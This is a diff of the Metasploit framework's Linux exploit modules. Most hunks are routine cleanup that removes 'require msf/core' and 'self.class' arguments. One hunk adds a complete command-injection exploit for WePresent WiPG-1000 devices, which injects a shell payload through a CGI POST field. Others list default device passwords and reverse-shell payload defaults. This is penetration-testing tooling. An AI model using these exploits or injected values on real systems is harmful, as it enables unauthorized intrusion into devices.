a/modules/exploits/linux/http/nuuo_nvrmini_auth_rce.rb +++ b/modules/exploits/linux/http/nuuo_nvrmini_auth_rce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -87,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, "Application path", '/']), OptString.new('USERNAME', [true, 'The username to login as', 'admin']), OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']), - ], self.class) + ]) end diff --git a/modules/exploits/linux/http/nuuo_nvrmini_unauth_rce.rb b/modules/exploits/linux/http/nuuo_nvrmini_unauth_rce.rb index acf698d1e0..57bd3ce4b2 100644 --- a/modules/exploits/linux/http/nuuo_nvrmini_unauth_rce.rb +++ b/modules/exploits/linux/http/nuuo_nvrmini_unauth_rce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(8081), OptString.new('TARGETURI', [true, "Application path", '/']) - ], self.class) + ]) end diff --git a/modules/exploits/linux/http/op5_config_exec.rb b/modules/exploits/linux/http/op5_config_exec.rb index 0bd756b76c..3075662e9c 100644 --- a/modules/exploits/linux/http/op5_config_exec.rb +++ b/modules/exploits/linux/http/op5_config_exec.rb @@ -3,8 +3,6 @@ ## Current source: https://github.com/rapid7/metasploit-framework ### -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager diff --git a/modules/exploits/linux/http/openfiler_networkcard_exec.rb b/modules/exploits/linux/http/openfiler_networkcard_exec.rb index 41d9e038ea..702a4ff336 100644 --- a/modules/exploits/linux/http/openfiler_networkcard_exec.rb +++ b/modules/exploits/linux/http/openfiler_networkcard_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -65,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('USERNAME', [true, 'The username for the application', 'openfiler']), OptString.new('PASSWORD', [true, 'The password for the application', 'password']) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/pandora_fms_exec.rb b/modules/exploits/linux/http/pandora_fms_exec.rb index 0b4b436f0a..bab22f8f39 100644 --- a/modules/exploits/linux/http/pandora_fms_exec.rb +++ b/modules/exploits/linux/http/pandora_fms_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(8023), OptString.new('TARGETURI', [true, 'The base path to the Pandora instance', '/']), - ], self.class) + ]) end def on_new_session(client) diff --git a/modules/exploits/linux/http/pandora_fms_sqli.rb b/modules/exploits/linux/http/pandora_fms_sqli.rb index aed531b229..4a1ebce753 100644 --- a/modules/exploits/linux/http/pandora_fms_sqli.rb +++ b/modules/exploits/linux/http/pandora_fms_sqli.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']), OptString.new('USER', [false, 'The username to authenticate with', 'admin']), OptString.new('PASS', [false, 'The password to authenticate with', 'pandora']), - ], self.class) + ]) end def uri diff --git a/modules/exploits/linux/http/peercast_url.rb b/modules/exploits/linux/http/peercast_url.rb index c961f9bb31..07017aea9e 100644 --- a/modules/exploits/linux/http/peercast_url.rb +++ b/modules/exploits/linux/http/peercast_url.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ Opt::RPORT(7144) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb b/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb index 36c1176d0e..9802d6ff14 100644 --- a/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb +++ b/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/linux/http/pineapp_livelog_exec.rb b/modules/exploits/linux/http/pineapp_livelog_exec.rb index 935f34a251..ec2d79113c 100644 --- a/modules/exploits/linux/http/pineapp_livelog_exec.rb +++ b/modules/exploits/linux/http/pineapp_livelog_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb b/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb index 629e89b1ba..a4488c591d 100644 --- a/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb +++ b/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/linux/http/pineapple_bypass_cmdinject.rb b/modules/exploits/linux/http/pineapple_bypass_cmdinject.rb index a0212be7e7..ab56839910 100644 --- a/modules/exploits/linux/http/pineapple_bypass_cmdinject.rb +++ b/modules/exploits/linux/http/pineapple_bypass_cmdinject.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/linux/http/pineapple_preconfig_cmdinject.rb b/modules/exploits/linux/http/pineapple_preconfig_cmdinject.rb index bc7c541660..ac76f76fb0 100644 --- a/modules/exploits/linux/http/pineapple_preconfig_cmdinject.rb +++ b/modules/exploits/linux/http/pineapple_preconfig_cmdinject.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/linux/http/piranha_passwd_exec.rb b/modules/exploits/linux/http/piranha_passwd_exec.rb index 2973589dc4..35f96086a6 100644 --- a/modules/exploits/linux/http/piranha_passwd_exec.rb +++ b/modules/exploits/linux/http/piranha_passwd_exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -72,7 +70,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('HttpUsername', [true, 'The HTTP username to specify for basic authentication', 'piranha']), OptString.new('HttpPassword', [true, 'The HTTP password to specify for basic authentication', 'q']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb b/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb index 281239a922..cf2e58ae93 100644 --- a/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb +++ b/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # It's backdooring the remote device @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]), OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) - ], self.class) + ]) end def tel_timeout diff --git a/modules/exploits/linux/http/railo_cfml_rfi.rb b/modules/exploits/linux/http/railo_cfml_rfi.rb index 4cf8418b8c..abdf2fccd4 100644 --- a/modules/exploits/linux/http/railo_cfml_rfi.rb +++ b/modules/exploits/linux/http/railo_cfml_rfi.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('TARGETURI', [true, 'The base URI of the Railo server', '/railo-context/']), OptInt.new('STAGEWAIT', [true, 'Number of seconds to wait for stager to download', 10]) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb b/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb index 059d0156d9..699df3e14c 100644 --- a/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(52869) # port of UPnP SOAP webinterface - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/riverbed_netprofiler_netexpress_exec.rb b/modules/exploits/linux/http/riverbed_netprofiler_netexpress_exec.rb index 3f83863637..512b945157 100644 --- a/modules/exploits/linux/http/riverbed_netprofiler_netexpress_exec.rb +++ b/modules/exploits/linux/http/riverbed_netprofiler_netexpress_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb index e3b5f0c40b..8478215a38 100644 --- a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb +++ b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb b/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb index 73e08f8e2c..8da1673419 100644 --- a/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb +++ b/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/linux/http/sophos_wpa_iface_exec.rb b/modules/exploits/linux/http/sophos_wpa_iface_exec.rb index a8559df320..4ea9d0689a 100644 --- a/modules/exploits/linux/http/sophos_wpa_iface_exec.rb +++ b/modules/exploits/linux/http/sophos_wpa_iface_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb b/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb index 01a4a6e9f3..87c72539e9 100644 --- a/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb +++ b/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/linux/http/symantec_web_gateway_exec.rb b/modules/exploits/linux/http/symantec_web_gateway_exec.rb index 3da6b67212..eb6f8730e0 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_exec.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb index 6ced3d32a4..a52a5a63d4 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb index e2080dcb13..fdee2bd34e 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb b/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb index 06c63e82c8..e849f5dcec 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The URI path to pbcontrol', '/spywall/pbcontrol.php']) - ], self.class) + ]) end diff --git a/modules/exploits/linux/http/symantec_web_gateway_restore.rb b/modules/exploits/linux/http/symantec_web_gateway_restore.rb index fcac6a43c6..58c1b30cbd 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_restore.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_restore.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'The URI to Symantec Web Gateway', '/']), OptString.new('USERNAME', [true, 'The username to login as']), OptString.new('PASSWORD', [true, 'The password for the username']) - ], self.class) + ]) end def protocol diff --git a/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb b/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb index b14df13f6d..f94ddf6572 100644 --- a/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb +++ b/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb @@ -3,8 +3,6 @@ ## Current source: https://github.com/rapid7/metasploit-framework ### -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(5000) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/tiki_calendar_exec.rb b/modules/exploits/linux/http/tiki_calendar_exec.rb index e7570281b3..3a88a957f8 100644 --- a/modules/exploits/linux/http/tiki_calendar_exec.rb +++ b/modules/exploits/linux/http/tiki_calendar_exec.rb @@ -3,8 +3,6 @@ ## Current source: https://github.com/rapid7/metasploit-framework ### -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/linux/http/tp_link_sc2020n_authenticated_telnet_injection.rb b/modules/exploits/linux/http/tp_link_sc2020n_authenticated_telnet_injection.rb index fb926dde43..81b8192347 100644 --- a/modules/exploits/linux/http/tp_link_sc2020n_authenticated_telnet_injection.rb +++ b/modules/exploits/linux/http/tp_link_sc2020n_authenticated_telnet_injection.rb @@ -3,8 +3,6 @@ ## Current source: https://github.com/rapid7/metasploit-framework ### -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,13 +46,13 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('HttpUsername', [ true, 'User to login with', 'admin']), OptString.new('HttpPassword', [ true, 'Password to login with', 'admin']) - ], self.class) + ]) register_advanced_options( [ OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet Command', 10]), OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) - ], self.class) + ]) end def telnet_timeout diff --git a/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb b/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb index 4bc6cf2b09..eec9a3793e 100644 --- a/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb +++ b/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb @@ -1,5 +1,3 @@ -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(7547), # TR-064 CWMP port for SOAP/XML commands OptBool::new('FORCE_EXPLOIT', [false, 'Force an attempt even if the check fails', nil]) - ], self.class) + ]) end diff --git a/modules/exploits/linux/http/trendmicro_sps_exec.rb b/modules/exploits/linux/http/trendmicro_sps_exec.rb index d8c7797eee..d27686ec61 100644 --- a/modules/exploits/linux/http/trendmicro_sps_exec.rb +++ b/modules/exploits/linux/http/trendmicro_sps_exec.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'openssl' require 'base64' @@ -49,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote OptPort.new('LPORT', [true, "The port SPS will connect back to ", 4444 ]), OptString.new('ADMINACCOUNT', [true, 'Name of the SPS admin account', 'admin']), OptString.new('ADMINPASS', [true, 'Password of the SPS admin account', 'admin']), - ], self.class) + ]) end diff --git a/modules/exploits/linux/http/trueonline_billion_5200w_rce.rb b/modules/exploits/linux/http/trueonline_billion_5200w_rce.rb index 9893c29df7..e08156c777 100644 --- a/modules/exploits/linux/http/trueonline_billion_5200w_rce.rb +++ b/modules/exploits/linux/http/trueonline_billion_5200w_rce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote OptInt.new('TelnetPort', [true, "Telnet port we're going to use", 9090]), OptString.new('HttpUsername', [true, 'Username for the web interface (using default credentials)', 'admin']), OptString.new('HttpPassword', [true, 'Password for the web interface (using default credentials)', 'password']), - ], self.class) + ]) end # no reliable way to check if this router is vulnerable diff --git a/modules/exploits/linux/http/trueonline_p660hn_v1_rce.rb b/modules/exploits/linux/http/trueonline_p660hn_v1_rce.rb index d6086232cf..c93d089caf 100644 --- a/modules/exploits/linux/http/trueonline_p660hn_v1_rce.rb +++ b/modules/exploits/linux/http/trueonline_p660hn_v1_rce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(80), OptInt.new('TelnetPort', [true, "Telnet port we're going to use", 9999]), - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb b/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb index fc18afde45..11b66b7839 100644 --- a/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb +++ b/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,9 +51,9 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(80), OptString.new('USERNAME', [true, 'Username for the web interface (using default credentials)', 'supervisor']), OptString.new('PASSWORD', [true, 'Password for the web interface (using default credentials)', 'zyad1234']), - OptAddress.new('LHOST', [ true, 'The listen IP address from where the victim downloads the MIPS payload' ]), + OptAddressLocal.new('LHOST', [ true, 'The listen IP address from where the victim downloads the MIPS payload' ]), OptInt.new('DELAY', [true, "How long to wait for the device to download the payload", 30]), - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/vap2500_tools_command_exec.rb b/modules/exploits/linux/http/vap2500_tools_command_exec.rb index 24e3053e41..498a81ea17 100644 --- a/modules/exploits/linux/http/vap2500_tools_command_exec.rb +++ b/modules/exploits/linux/http/vap2500_tools_command_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/linux/http/vcms_upload.rb b/modules/exploits/linux/http/vcms_upload.rb index 01a99e80ec..6932f3ddc0 100644 --- a/modules/exploits/linux/http/vcms_upload.rb +++ b/modules/exploits/linux/http/vcms_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The URI path to vcms', '/vcms/']) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/wanem_exec.rb b/modules/exploits/linux/http/wanem_exec.rb index e75ce9a283..3e4d6a88d2 100644 --- a/modules/exploits/linux/http/wanem_exec.rb +++ b/modules/exploits/linux/http/wanem_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/linux/http/webcalendar_settings_exec.rb b/modules/exploits/linux/http/webcalendar_settings_exec.rb index 0ca6edf548..6aef1d7aff 100644 --- a/modules/exploits/linux/http/webcalendar_settings_exec.rb +++ b/modules/exploits/linux/http/webcalendar_settings_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The URI path to webcalendar', '/WebCalendar-1.2.4/']) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/webid_converter.rb b/modules/exploits/linux/http/webid_converter.rb index 1d7bbbe1a9..dfb8999352 100644 --- a/modules/exploits/linux/http/webid_converter.rb +++ b/modules/exploits/linux/http/webid_converter.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/linux/http/wipg1000_cmd_injection.rb b/modules/exploits/linux/http/wipg1000_cmd_injection.rb new file mode 100644 index 0000000000..aae9b1128d --- /dev/null +++ b/modules/exploits/linux/http/wipg1000_cmd_injection.rb @@ -0,0 +1,72 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'WePresent WiPG-1000 Command Injection', + 'Description' => %q{ + This module exploits a command injection vulnerability in an undocumented + CGI file in several versions of the WePresent WiPG-1000 devices. + Version 2.0.0.7 was confirmed vulnerable, 2.2.3.0 patched this vulnerability. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Matthias Brun', # Vulnerability Discovery, Metasploit Module + ], + 'References' => + [ + [ 'URL', 'https://www.redguard.ch/advisories/wepresent-wipg1000.txt' ] + ], + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic netcat openssl' + } + }, + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Targets' => + [ + ['WiPG-1000 <=2.0.0.7', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Apr 20 2017', + 'DefaultTarget' => 0)) + end + + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => '/cgi-bin/rdfs.cgi' + }) + if res && res.body.include?("Follow administrator instructions to enter the complete path") + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + end + + def exploit + print_status('Sending request') + send_request_cgi( + 'method' => 'POST', + 'uri' => '/cgi-bin/rdfs.cgi', + 'vars_post' => { + 'Client' => ";#{payload.encoded};", + 'Download' => 'Download' + } + ) + end + +end diff --git a/modules/exploits/linux/http/zabbix_sqli.rb b/modules/exploits/linux/http/zabbix_sqli.rb index ac08535943..ce5d2cb19f 100644 --- a/modules/exploits/linux/http/zabbix_sqli.rb +++ b/modules/exploits/linux/http/zabbix_sqli.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The URI of the vulnerable Zabbix instance', '/zabbix']) - ], self.class) + ]) end def uri diff --git a/modules/exploits/linux/http/zen_load_balancer_exec.rb b/modules/exploits/linux/http/zen_load_balancer_exec.rb index 68e6fb3558..a0acafb5cf 100644 --- a/modules/exploits/linux/http/zen_load_balancer_exec.rb +++ b/modules/exploits/linux/http/zen_load_balancer_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('HttpUsername', [true, 'The username for the application', 'admin']), OptString.new('HttpPassword', [true, 'The password for the application', 'admin']) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb index e92284d97c..c10168dc4e 100644 --- a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb +++ b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(8080), OptString.new('USERNAME', [true, 'The Zenoss username', 'admin']), OptString.new('PASSWORD', [true, 'The Zenoss password', 'zenoss']) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb b/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb index 02b241e7f3..7074b39aa1 100644 --- a/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb +++ b/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Exploit::Remote @@ -59,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(40007) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/ids/snortbopre.rb b/modules/exploits/linux/ids/snortbopre.rb index 219b4303e0..b4a69eedc8 100644 --- a/modules/exploits/linux/ids/snortbopre.rb +++ b/modules/exploits/linux/ids/snortbopre.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(9080), - ], self.class) + ]) end def msrand(seed) diff --git a/modules/exploits/linux/imap/imap_uw_lsub.rb b/modules/exploits/linux/imap/imap_uw_lsub.rb index e540d03efe..647aeba29b 100644 --- a/modules/exploits/linux/imap/imap_uw_lsub.rb +++ b/modules/exploits/linux/imap/imap_uw_lsub.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/linux/local/bpf_priv_esc.rb b/modules/exploits/linux/local/bpf_priv_esc.rb index 3ef0164fea..30bfd6b3b3 100644 --- a/modules/exploits/linux/local/bpf_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_priv_esc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Local ], 'DefaultOptions' => { - 'payload' => 'linux/x64/mettle/reverse_tcp', + 'payload' => 'linux/x64/meterpreter/reverse_tcp', 'PrependFork' => true, 'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through }, @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Local OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 